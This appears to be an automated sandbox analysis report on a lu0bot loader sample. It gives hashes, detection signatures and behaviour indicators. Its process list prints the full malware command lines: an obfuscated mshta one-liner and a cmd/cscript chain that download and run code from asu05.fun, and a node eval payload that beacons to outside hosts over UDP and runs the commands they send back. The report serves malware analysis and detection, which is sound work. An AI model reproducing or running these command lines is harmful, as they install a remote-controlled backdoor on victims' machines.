Overview
overview
10Static
static
eufive_202...1).exe
windows7_x64
1eufive_202...1).exe
windows10_x64
1eufive_202...1).exe
windows7_x64
10eufive_202...1).exe
windows10_x64
10eufive_202...41.exe
windows7_x64
10eufive_202...41.exe
windows10_x64
10mixazed_20...1).exe
windows7_x64
8mixazed_20...1).exe
windows10_x64
8mixazed_20...1).exe
windows7_x64
8mixazed_20...1).exe
windows10_x64
8mixazed_20...1).exe
windows7_x64
8mixazed_20...1).exe
windows10_x64
8mixsix_202...1).exe
windows7_x64
8mixsix_202...1).exe
windows10_x64
8usfive_202...1).exe
windows7_x64
10usfive_202...1).exe
windows10_x64
10Analysis
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max time kernel
147s -
max time network
181s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
27-07-2021 21:27
Static task
static1
Behavioral task
behavioral1
Sample
eufive_20210727-123655(1).exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
eufive_20210727-123655(1).exe
Resource
win10v20210408
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral3
Sample
eufive_20210727-125230(1).exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral4
Sample
eufive_20210727-125230(1).exe
Resource
win10v20210408
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral5
Sample
eufive_20210727-174641.exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral6
Sample
eufive_20210727-174641.exe
Resource
win10v20210410
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral7
Sample
mixazed_20210727-123659(1).exe
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral8
Sample
mixazed_20210727-123659(1).exe
Resource
win10v20210410
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral9
Sample
mixazed_20210727-132631(1).exe
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral10
Sample
mixazed_20210727-132631(1).exe
Resource
win10v20210410
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral11
Sample
mixazed_20210727-134206(1).exe
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral12
Sample
mixazed_20210727-134206(1).exe
Resource
win10v20210410
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral13
Sample
mixsix_20210727-190432(1).exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral14
Sample
mixsix_20210727-190432(1).exe
Resource
win10v20210408
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral15
Sample
usfive_20210727-123716(1).exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
General
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Target
eufive_20210727-125230(1).exe
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Size
3KB
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MD5
a761191fcfbb734c45f3d7ba61d2ccde
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SHA1
3d37da91baf133d14e746d85cc9d8197d78cd0b9
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SHA256
545b3f1af9322de70ef2b27c9b383be4f6c22f508320d55d4b3787cc0eebce50
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SHA512
6add2e95ba16cac3ffc60697df7df9ba30b437aed94a1593bce7808ae686f980792a7327e8a204e40ba149b9d42045a3952ba1e32b0a5f24a0d3e38488f8a6ed
Malware Config
Signatures
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suricata: ET MALWARE lu0bot Loader HTTP Request
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suricata: ET MALWARE lu0bot Loader HTTP Response
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Blocklisted process makes network request 2 IoCs
flow pid Process 2 2016 mshta.exe 3 1752 cscript.exe -
Executes dropped EXE 1 IoCs
pid Process 760 node.exe -
Loads dropped DLL 1 IoCs
pid Process 1472 cscript.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 1940 icacls.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 964 tasklist.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1160 ipconfig.exe 1468 netstat.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 828 systeminfo.exe -
NTFS ADS 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Temp\b19c713e190565a5:ads node.exe File created C:\ProgramData\DNTException\node.exe:2af1247964dee60d6d970638ec09c25a node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 2 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 760 node.exe 760 node.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeDebugPrivilege 964 tasklist.exe Token: SeIncreaseQuotaPrivilege 1976 wmic.exe Token: SeSecurityPrivilege 1976 wmic.exe Token: SeTakeOwnershipPrivilege 1976 wmic.exe Token: SeLoadDriverPrivilege 1976 wmic.exe Token: SeSystemProfilePrivilege 1976 wmic.exe Token: SeSystemtimePrivilege 1976 wmic.exe Token: SeProfSingleProcessPrivilege 1976 wmic.exe Token: SeIncBasePriorityPrivilege 1976 wmic.exe Token: SeCreatePagefilePrivilege 1976 wmic.exe Token: SeBackupPrivilege 1976 wmic.exe Token: SeRestorePrivilege 1976 wmic.exe Token: SeShutdownPrivilege 1976 wmic.exe Token: SeDebugPrivilege 1976 wmic.exe Token: SeSystemEnvironmentPrivilege 1976 wmic.exe Token: SeRemoteShutdownPrivilege 1976 wmic.exe Token: SeUndockPrivilege 1976 wmic.exe Token: SeManageVolumePrivilege 1976 wmic.exe Token: 33 1976 wmic.exe Token: 34 1976 wmic.exe Token: 35 1976 wmic.exe Token: SeIncreaseQuotaPrivilege 1976 wmic.exe Token: SeSecurityPrivilege 1976 wmic.exe Token: SeTakeOwnershipPrivilege 1976 wmic.exe Token: SeLoadDriverPrivilege 1976 wmic.exe Token: SeSystemProfilePrivilege 1976 wmic.exe Token: SeSystemtimePrivilege 1976 wmic.exe Token: SeProfSingleProcessPrivilege 1976 wmic.exe Token: SeIncBasePriorityPrivilege 1976 wmic.exe Token: SeCreatePagefilePrivilege 1976 wmic.exe Token: SeBackupPrivilege 1976 wmic.exe Token: SeRestorePrivilege 1976 wmic.exe Token: SeShutdownPrivilege 1976 wmic.exe Token: SeDebugPrivilege 1976 wmic.exe Token: SeSystemEnvironmentPrivilege 1976 wmic.exe Token: SeRemoteShutdownPrivilege 1976 wmic.exe Token: SeUndockPrivilege 1976 wmic.exe Token: SeManageVolumePrivilege 1976 wmic.exe Token: 33 1976 wmic.exe Token: 34 1976 wmic.exe Token: 35 1976 wmic.exe Token: SeDebugPrivilege 1468 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1076 wrote to memory of 2016 1076 eufive_20210727-125230(1).exe 25 PID 1076 wrote to memory of 2016 1076 eufive_20210727-125230(1).exe 25 PID 1076 wrote to memory of 2016 1076 eufive_20210727-125230(1).exe 25 PID 1076 wrote to memory of 2016 1076 eufive_20210727-125230(1).exe 25 PID 2016 wrote to memory of 1784 2016 mshta.exe 27 PID 2016 wrote to memory of 1784 2016 mshta.exe 27 PID 2016 wrote to memory of 1784 2016 mshta.exe 27 PID 2016 wrote to memory of 1784 2016 mshta.exe 27 PID 1784 wrote to memory of 1752 1784 cmd.exe 29 PID 1784 wrote to memory of 1752 1784 cmd.exe 29 PID 1784 wrote to memory of 1752 1784 cmd.exe 29 PID 1784 wrote to memory of 1752 1784 cmd.exe 29 PID 1784 wrote to memory of 1488 1784 cmd.exe 33 PID 1784 wrote to memory of 1488 1784 cmd.exe 33 PID 1784 wrote to memory of 1488 1784 cmd.exe 33 PID 1784 wrote to memory of 1488 1784 cmd.exe 33 PID 1784 wrote to memory of 1472 1784 cmd.exe 34 PID 1784 wrote to memory of 1472 1784 cmd.exe 34 PID 1784 wrote to memory of 1472 1784 cmd.exe 34 PID 1784 wrote to memory of 1472 1784 cmd.exe 34 PID 1472 wrote to memory of 760 1472 cscript.exe 35 PID 1472 wrote to memory of 760 1472 cscript.exe 35 PID 1472 wrote to memory of 760 1472 cscript.exe 35 PID 1472 wrote to memory of 760 1472 cscript.exe 35 PID 760 wrote to memory of 1568 760 node.exe 37 PID 760 wrote to memory of 1568 760 node.exe 37 PID 760 wrote to memory of 1568 760 node.exe 37 PID 760 wrote to memory of 1568 760 node.exe 37 PID 760 wrote to memory of 1556 760 node.exe 38 PID 760 wrote to memory of 1556 760 node.exe 38 PID 760 wrote to memory of 1556 760 node.exe 38 PID 760 wrote to memory of 1556 760 node.exe 38 PID 760 wrote to memory of 1940 760 node.exe 39 PID 760 wrote to memory of 1940 760 node.exe 39 PID 760 wrote to memory of 1940 760 node.exe 39 PID 760 wrote to memory of 1940 760 node.exe 39 PID 760 wrote to memory of 1924 760 node.exe 40 PID 760 wrote to memory of 1924 760 node.exe 40 PID 760 wrote to memory of 1924 760 node.exe 40 PID 760 wrote to memory of 1924 760 node.exe 40 PID 760 wrote to memory of 292 760 node.exe 41 PID 760 wrote to memory of 292 760 node.exe 41 PID 760 wrote to memory of 292 760 node.exe 41 PID 760 wrote to memory of 292 760 node.exe 41 PID 760 wrote to memory of 964 760 node.exe 42 PID 760 wrote to memory of 964 760 node.exe 42 PID 760 wrote to memory of 964 760 node.exe 42 PID 760 wrote to memory of 964 760 node.exe 42 PID 760 wrote to memory of 1976 760 node.exe 44 PID 760 wrote to memory of 1976 760 node.exe 44 PID 760 wrote to memory of 1976 760 node.exe 44 PID 760 wrote to memory of 1976 760 node.exe 44 PID 760 wrote to memory of 1160 760 node.exe 45 PID 760 wrote to memory of 1160 760 node.exe 45 PID 760 wrote to memory of 1160 760 node.exe 45 PID 760 wrote to memory of 1160 760 node.exe 45 PID 760 wrote to memory of 1756 760 node.exe 46 PID 760 wrote to memory of 1756 760 node.exe 46 PID 760 wrote to memory of 1756 760 node.exe 46 PID 760 wrote to memory of 1756 760 node.exe 46 PID 760 wrote to memory of 1468 760 node.exe 47 PID 760 wrote to memory of 1468 760 node.exe 47 PID 760 wrote to memory of 1468 760 node.exe 47 PID 760 wrote to memory of 1468 760 node.exe 47 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 1924 attrib.exe 292 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\eufive_20210727-125230(1).exe"C:\Users\Admin\AppData\Local\Temp\eufive_20210727-125230(1).exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1076 -
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();51;y=unescape('%325%33%7E%68t%74p%3A%2F%2Fa%73u%305%2Ef%75n%2Fh%72i%2F%3F%32f%652%652%62%7E%317%39').split('~');205;try{x='WinHttp';82;x=new ActiveXObject(x+'.'+x+'Request.5.1');175;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);222;x.send();105;y='ipt.S';173;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);253;}catch(e){};202;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2016 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1627421327686.txt & cscript /nologo /e:jscript get1627421327686.txt "http%3A%2F%2Fasu05.fun%2Fhri%2F%3F2fc9e7ffc%26b%3D67dde64e" node.cab & expand node.cab node.exe & del get1627421327686.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1627421327686.txt & cscript /nologo /e:jscript get1627421327686.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27fc9e7ffc%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu05.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1627421327686.txt3⤵
- Suspicious use of WriteProcessMemory
PID:1784 -
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1627421327686.txt "http%3A%2F%2Fasu05.fun%2Fhri%2F%3F2fc9e7ffc%26b%3D67dde64e" node.cab4⤵
- Blocklisted process makes network request
PID:1752
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
PID:1488
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1627421327686.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27fc9e7ffc%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu05.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1472 -
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27fc9e7ffc%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu05.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:760 -
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵PID:1568
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵PID:1556
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
PID:1940
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
PID:1924
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
PID:292
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:964
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1976
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
PID:1160
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵PID:1756
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:1468
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
PID:828
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